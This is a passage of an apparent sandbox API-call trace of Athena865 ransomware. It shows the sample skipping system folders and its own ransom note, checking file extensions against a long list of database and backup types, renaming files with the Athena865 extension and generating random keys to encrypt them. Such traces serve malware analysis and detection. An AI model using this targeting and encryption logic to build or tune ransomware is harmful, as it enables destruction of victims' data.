[0118.742] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.742] lstrlenW (lpString="trc") returned 3 [0118.742] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.742] lstrlenW (lpString="trm") returned 3 [0118.742] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0118.742] lstrlenW (lpString="udb") returned 3 [0118.742] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0118.742] lstrlenW (lpString="udl") returned 3 [0118.742] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0118.742] lstrlenW (lpString="usr") returned 3 [0118.742] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0118.742] lstrlenW (lpString="v12") returned 3 [0118.742] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0118.742] lstrlenW (lpString="vis") returned 3 [0118.742] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0118.742] lstrlenW (lpString="vpd") returned 3 [0118.742] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0118.743] lstrlenW (lpString="vvv") returned 3 [0118.743] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0118.743] lstrlenW (lpString="wdb") returned 3 [0118.743] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0118.743] lstrlenW (lpString="wmdb") returned 4 [0118.743] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0118.743] lstrlenW (lpString="wrk") returned 3 [0118.743] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0118.743] lstrlenW (lpString="xdb") returned 3 [0118.743] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0118.743] lstrlenW (lpString="xld") returned 3 [0118.743] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0118.743] lstrlenW (lpString="xmlff") returned 5 [0118.743] lstrcmpiW (lpString1="r.dll", lpString2="xmlff") returned -1 [0118.743] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll.Athena865") returned 64 [0118.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll.athena865"), dwFlags=0x1) returned 1 [0118.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.744] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8192) returned 1 [0118.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.744] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.745] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.745] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.745] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2300, lpName=0x0) returned 0x154 [0118.747] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2300) returned 0x100000 [0118.748] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.748] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.748] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.749] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.750] CloseHandle (hObject=0x154) returned 1 [0118.750] CloseHandle (hObject=0x17c) returned 1 [0118.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.750] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0118.750] lstrcmpiW (lpString1="msadco.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.750] lstrcmpiW (lpString1="msadco.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.750] lstrcmpiW (lpString1="msadco.dll", lpString2=".") returned 1 [0118.750] lstrcmpiW (lpString1="msadco.dll", lpString2="..") returned 1 [0118.750] lstrcmpiW (lpString1="msadco.dll", lpString2="windows") returned -1 [0118.750] lstrcmpiW (lpString1="msadco.dll", lpString2="bootmgr") returned 1 [0118.750] lstrcmpiW (lpString1="msadco.dll", lpString2="temp") returned -1 [0118.750] lstrcmpiW (lpString1="msadco.dll", lpString2="pagefile.sys") returned -1 [0118.750] lstrcmpiW (lpString1="msadco.dll", lpString2="boot") returned 1 [0118.750] lstrcmpiW (lpString1="msadco.dll", lpString2="ids.txt") returned 1 [0118.750] lstrcmpiW (lpString1="msadco.dll", lpString2="ntuser.dat") returned -1 [0118.750] lstrcmpiW (lpString1="msadco.dll", lpString2="perflogs") returned -1 [0118.750] lstrcmpiW (lpString1="msadco.dll", lpString2="MSBuild") returned -1 [0118.750] lstrlenW (lpString="msadco.dll") returned 10 [0118.751] lstrcpyW (in: lpString1=0x241e89e, lpString2="msadco.dll" | out: lpString1="msadco.dll") returned="msadco.dll" [0118.751] lstrlenW (lpString="msadco.dll") returned 10 [0118.751] lstrlenW (lpString="Athena865") returned 9 [0118.751] lstrcmpiW (lpString1="sadco.dll", lpString2="Athena865") returned 1 [0118.751] lstrlenW (lpString=".dll") returned 4 [0118.751] lstrcmpiW (lpString1="msadco.dll", lpString2=".dll") returned 1 [0118.751] lstrlenW (lpString=".lnk") returned 4 [0118.751] lstrcmpiW (lpString1="msadco.dll", lpString2=".lnk") returned 1 [0118.751] lstrlenW (lpString=".ini") returned 4 [0118.751] lstrcmpiW (lpString1="msadco.dll", lpString2=".ini") returned 1 [0118.751] lstrlenW (lpString=".sys") returned 4 [0118.751] lstrcmpiW (lpString1="msadco.dll", lpString2=".sys") returned 1 [0118.751] lstrlenW (lpString="msadco.dll") returned 10 [0118.751] lstrlenW (lpString="bak") returned 3 [0118.751] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0118.751] lstrlenW (lpString="ba_") returned 3 [0118.751] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0118.751] lstrlenW (lpString="dbb") returned 3 [0118.751] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0118.751] lstrlenW (lpString="vmdk") returned 4 [0118.751] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0118.751] lstrlenW (lpString="rar") returned 3 [0118.751] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0118.751] lstrlenW (lpString="zip") returned 3 [0118.751] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0118.751] lstrlenW (lpString="tgz") returned 3 [0118.751] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0118.751] lstrlenW (lpString="vbox") returned 4 [0118.751] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0118.751] lstrlenW (lpString="vdi") returned 3 [0118.751] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0118.752] lstrlenW (lpString="vhd") returned 3 [0118.752] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0118.752] lstrlenW (lpString="vhdx") returned 4 [0118.752] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0118.752] lstrlenW (lpString="avhd") returned 4 [0118.752] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0118.752] lstrlenW (lpString="db") returned 2 [0118.752] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0118.752] lstrlenW (lpString="db2") returned 3 [0118.752] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0118.752] lstrlenW (lpString="db3") returned 3 [0118.752] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0118.752] lstrlenW (lpString="dbf") returned 3 [0118.752] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0118.752] lstrlenW (lpString="mdf") returned 3 [0118.752] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0118.752] lstrlenW (lpString="mdb") returned 3 [0118.752] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0118.752] lstrlenW (lpString="sql") returned 3 [0118.752] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0118.752] lstrlenW (lpString="sqlite") returned 6 [0118.752] lstrcmpiW (lpString1="co.dll", lpString2="sqlite") returned -1 [0118.752] lstrlenW (lpString="sqlite3") returned 7 [0118.752] lstrcmpiW (lpString1="dco.dll", lpString2="sqlite3") returned -1 [0118.752] lstrlenW (lpString="sqlitedb") returned 8 [0118.752] lstrcmpiW (lpString1="adco.dll", lpString2="sqlitedb") returned -1 [0118.752] lstrlenW (lpString="xml") returned 3 [0118.752] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0118.752] lstrlenW (lpString="$er") returned 3 [0118.752] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0118.753] lstrlenW (lpString="4dd") returned 3 [0118.753] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0118.753] lstrlenW (lpString="4dl") returned 3 [0118.753] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0118.753] lstrlenW (lpString="^^^") returned 3 [0118.753] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0118.753] lstrlenW (lpString="abs") returned 3 [0118.753] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0118.753] lstrlenW (lpString="abx") returned 3 [0118.753] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0118.753] lstrlenW (lpString="accdb") returned 5 [0118.753] lstrcmpiW (lpString1="o.dll", lpString2="accdb") returned 1 [0118.753] lstrlenW (lpString="accdc") returned 5 [0118.753] lstrcmpiW (lpString1="o.dll", lpString2="accdc") returned 1 [0118.753] lstrlenW (lpString="accde") returned 5 [0118.753] lstrcmpiW (lpString1="o.dll", lpString2="accde") returned 1 [0118.753] lstrlenW (lpString="accdr") returned 5 [0118.753] lstrcmpiW (lpString1="o.dll", lpString2="accdr") returned 1 [0118.753] lstrlenW (lpString="accdt") returned 5 [0118.753] lstrcmpiW (lpString1="o.dll", lpString2="accdt") returned 1 [0118.753] lstrlenW (lpString="accdw") returned 5 [0118.753] lstrcmpiW (lpString1="o.dll", lpString2="accdw") returned 1 [0118.753] lstrlenW (lpString="accft") returned 5 [0118.753] lstrcmpiW (lpString1="o.dll", lpString2="accft") returned 1 [0118.753] lstrlenW (lpString="adb") returned 3 [0118.753] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.753] lstrlenW (lpString="adb") returned 3 [0118.753] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.753] lstrlenW (lpString="ade") returned 3 [0118.753] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0118.753] lstrlenW (lpString="adf") returned 3 [0118.754] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0118.754] lstrlenW (lpString="adn") returned 3 [0118.754] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0118.754] lstrlenW (lpString="adp") returned 3 [0118.754] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0118.754] lstrlenW (lpString="alf") returned 3 [0118.754] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0118.754] lstrlenW (lpString="ask") returned 3 [0118.754] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0118.754] lstrlenW (lpString="btr") returned 3 [0118.754] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0118.754] lstrlenW (lpString="cat") returned 3 [0118.754] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0118.754] lstrlenW (lpString="cdb") returned 3 [0118.754] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0118.754] lstrlenW (lpString="ckp") returned 3 [0118.754] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0118.754] lstrlenW (lpString="cma") returned 3 [0118.754] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0118.754] lstrlenW (lpString="cpd") returned 3 [0118.754] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0118.754] lstrlenW (lpString="dacpac") returned 6 [0118.754] lstrcmpiW (lpString1="co.dll", lpString2="dacpac") returned -1 [0118.754] lstrlenW (lpString="dad") returned 3 [0118.754] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0118.754] lstrlenW (lpString="dadiagrams") returned 10 [0118.754] lstrlenW (lpString="daschema") returned 8 [0118.754] lstrcmpiW (lpString1="adco.dll", lpString2="daschema") returned -1 [0118.754] lstrlenW (lpString="db-journal") returned 10 [0118.754] lstrlenW (lpString="db-shm") returned 6 [0118.754] lstrcmpiW (lpString1="co.dll", lpString2="db-shm") returned -1 [0118.755] lstrlenW (lpString="db-wal") returned 6 [0118.755] lstrcmpiW (lpString1="co.dll", lpString2="db-wal") returned -1 [0118.755] lstrlenW (lpString="dbc") returned 3 [0118.755] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0118.755] lstrlenW (lpString="dbs") returned 3 [0118.755] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0118.755] lstrlenW (lpString="dbt") returned 3 [0118.755] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0118.755] lstrlenW (lpString="dbv") returned 3 [0118.755] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0118.755] lstrlenW (lpString="dbx") returned 3 [0118.755] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0118.755] lstrlenW (lpString="dcb") returned 3 [0118.755] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0118.755] lstrlenW (lpString="dct") returned 3 [0118.755] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0118.755] lstrlenW (lpString="dcx") returned 3 [0118.755] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0118.755] lstrlenW (lpString="ddl") returned 3 [0118.755] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0118.755] lstrlenW (lpString="dlis") returned 4 [0118.755] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0118.755] lstrlenW (lpString="dp1") returned 3 [0118.755] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0118.755] lstrlenW (lpString="dqy") returned 3 [0118.755] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0118.755] lstrlenW (lpString="dsk") returned 3 [0118.755] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0118.755] lstrlenW (lpString="dsn") returned 3 [0118.755] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0118.756] lstrlenW (lpString="dtsx") returned 4 [0118.756] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0118.756] lstrlenW (lpString="dxl") returned 3 [0118.756] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0118.756] lstrlenW (lpString="eco") returned 3 [0118.756] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0118.756] lstrlenW (lpString="ecx") returned 3 [0118.756] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0118.756] lstrlenW (lpString="edb") returned 3 [0118.756] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0118.756] lstrlenW (lpString="epim") returned 4 [0118.756] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0118.756] lstrlenW (lpString="fcd") returned 3 [0118.756] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0118.756] lstrlenW (lpString="fdb") returned 3 [0118.756] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0118.756] lstrlenW (lpString="fic") returned 3 [0118.756] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0118.756] lstrlenW (lpString="flexolibrary") returned 12 [0118.756] lstrlenW (lpString="fm5") returned 3 [0118.756] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0118.756] lstrlenW (lpString="fmp") returned 3 [0118.756] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0118.756] lstrlenW (lpString="fmp12") returned 5 [0118.756] lstrcmpiW (lpString1="o.dll", lpString2="fmp12") returned 1 [0118.756] lstrlenW (lpString="fmpsl") returned 5 [0118.756] lstrcmpiW (lpString1="o.dll", lpString2="fmpsl") returned 1 [0118.756] lstrlenW (lpString="fol") returned 3 [0118.756] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0118.756] lstrlenW (lpString="fp3") returned 3 [0118.756] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0118.757] lstrlenW (lpString="fp4") returned 3 [0118.757] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0118.757] lstrlenW (lpString="fp5") returned 3 [0118.757] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0118.757] lstrlenW (lpString="fp7") returned 3 [0118.757] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0118.757] lstrlenW (lpString="fpt") returned 3 [0118.757] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0118.757] lstrlenW (lpString="frm") returned 3 [0118.757] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0118.757] lstrlenW (lpString="gdb") returned 3 [0118.757] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.757] lstrlenW (lpString="gdb") returned 3 [0118.757] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.757] lstrlenW (lpString="grdb") returned 4 [0118.757] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0118.757] lstrlenW (lpString="gwi") returned 3 [0118.757] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0118.757] lstrlenW (lpString="hdb") returned 3 [0118.757] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0118.757] lstrlenW (lpString="his") returned 3 [0118.757] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0118.757] lstrlenW (lpString="ib") returned 2 [0118.757] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0118.757] lstrlenW (lpString="idb") returned 3 [0118.757] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0118.757] lstrlenW (lpString="ihx") returned 3 [0118.757] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0118.757] lstrlenW (lpString="itdb") returned 4 [0118.757] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0118.757] lstrlenW (lpString="itw") returned 3 [0118.758] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0118.758] lstrlenW (lpString="jet") returned 3 [0118.758] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0118.758] lstrlenW (lpString="jtx") returned 3 [0118.758] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0118.758] lstrlenW (lpString="kdb") returned 3 [0118.758] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0118.758] lstrlenW (lpString="kexi") returned 4 [0118.758] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0118.758] lstrlenW (lpString="kexic") returned 5 [0118.758] lstrcmpiW (lpString1="o.dll", lpString2="kexic") returned 1 [0118.758] lstrlenW (lpString="kexis") returned 5 [0118.758] lstrcmpiW (lpString1="o.dll", lpString2="kexis") returned 1 [0118.758] lstrlenW (lpString="lgc") returned 3 [0118.758] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0118.758] lstrlenW (lpString="lwx") returned 3 [0118.758] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0118.758] lstrlenW (lpString="maf") returned 3 [0118.758] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0118.758] lstrlenW (lpString="maq") returned 3 [0118.758] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0118.758] lstrlenW (lpString="mar") returned 3 [0118.758] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0118.758] lstrlenW (lpString="marshal") returned 7 [0118.758] lstrcmpiW (lpString1="dco.dll", lpString2="marshal") returned -1 [0118.758] lstrlenW (lpString="mas") returned 3 [0118.758] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0118.758] lstrlenW (lpString="mav") returned 3 [0118.758] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0118.758] lstrlenW (lpString="maw") returned 3 [0118.759] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0118.759] lstrlenW (lpString="mdbhtml") returned 7 [0118.759] lstrcmpiW (lpString1="dco.dll", lpString2="mdbhtml") returned -1 [0118.759] lstrlenW (lpString="mdn") returned 3 [0118.759] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0118.759] lstrlenW (lpString="mdt") returned 3 [0118.759] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0118.759] lstrlenW (lpString="mfd") returned 3 [0118.759] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0118.759] lstrlenW (lpString="mpd") returned 3 [0118.759] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0118.759] lstrlenW (lpString="mrg") returned 3 [0118.759] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0118.759] lstrlenW (lpString="mud") returned 3 [0118.759] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0118.759] lstrlenW (lpString="mwb") returned 3 [0118.759] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0118.759] lstrlenW (lpString="myd") returned 3 [0118.759] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0118.759] lstrlenW (lpString="ndf") returned 3 [0118.759] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0118.759] lstrlenW (lpString="nnt") returned 3 [0118.759] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0118.759] lstrlenW (lpString="nrmlib") returned 6 [0118.759] lstrcmpiW (lpString1="co.dll", lpString2="nrmlib") returned -1 [0118.759] lstrlenW (lpString="ns2") returned 3 [0118.759] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0118.759] lstrlenW (lpString="ns3") returned 3 [0118.759] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0118.759] lstrlenW (lpString="ns4") returned 3 [0118.760] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0118.760] lstrlenW (lpString="nsf") returned 3 [0118.760] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0118.760] lstrlenW (lpString="nv") returned 2 [0118.760] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0118.760] lstrlenW (lpString="nv2") returned 3 [0118.760] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0118.760] lstrlenW (lpString="nwdb") returned 4 [0118.760] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0118.760] lstrlenW (lpString="nyf") returned 3 [0118.760] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0118.760] lstrlenW (lpString="odb") returned 3 [0118.760] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.760] lstrlenW (lpString="odb") returned 3 [0118.760] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.760] lstrlenW (lpString="oqy") returned 3 [0118.760] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0118.760] lstrlenW (lpString="ora") returned 3 [0118.760] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0118.760] lstrlenW (lpString="orx") returned 3 [0118.760] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0118.760] lstrlenW (lpString="owc") returned 3 [0118.760] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0118.760] lstrlenW (lpString="p96") returned 3 [0118.760] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0118.760] lstrlenW (lpString="p97") returned 3 [0118.760] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0118.760] lstrlenW (lpString="pan") returned 3 [0118.760] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0118.760] lstrlenW (lpString="pdb") returned 3 [0118.760] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0118.760] lstrlenW (lpString="pdm") returned 3 [0118.761] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0118.761] lstrlenW (lpString="pnz") returned 3 [0118.761] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0118.761] lstrlenW (lpString="qry") returned 3 [0118.761] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0118.761] lstrlenW (lpString="qvd") returned 3 [0118.761] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0118.761] lstrlenW (lpString="rbf") returned 3 [0118.761] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0118.761] lstrlenW (lpString="rctd") returned 4 [0118.761] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0118.761] lstrlenW (lpString="rod") returned 3 [0118.761] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0118.761] lstrlenW (lpString="rodx") returned 4 [0118.761] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0118.761] lstrlenW (lpString="rpd") returned 3 [0118.761] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0118.761] lstrlenW (lpString="rsd") returned 3 [0118.761] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0118.761] lstrlenW (lpString="sas7bdat") returned 8 [0118.761] lstrcmpiW (lpString1="adco.dll", lpString2="sas7bdat") returned -1 [0118.761] lstrlenW (lpString="sbf") returned 3 [0118.761] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0118.761] lstrlenW (lpString="scx") returned 3 [0118.761] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0118.761] lstrlenW (lpString="sdb") returned 3 [0118.761] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0118.761] lstrlenW (lpString="sdc") returned 3 [0118.761] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0118.761] lstrlenW (lpString="sdf") returned 3 [0118.762] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0118.762] lstrlenW (lpString="sis") returned 3 [0118.762] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0118.762] lstrlenW (lpString="spq") returned 3 [0118.762] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0118.762] lstrlenW (lpString="te") returned 2 [0118.762] lstrcmpiW (lpString1="ll", lpString2="te") returned 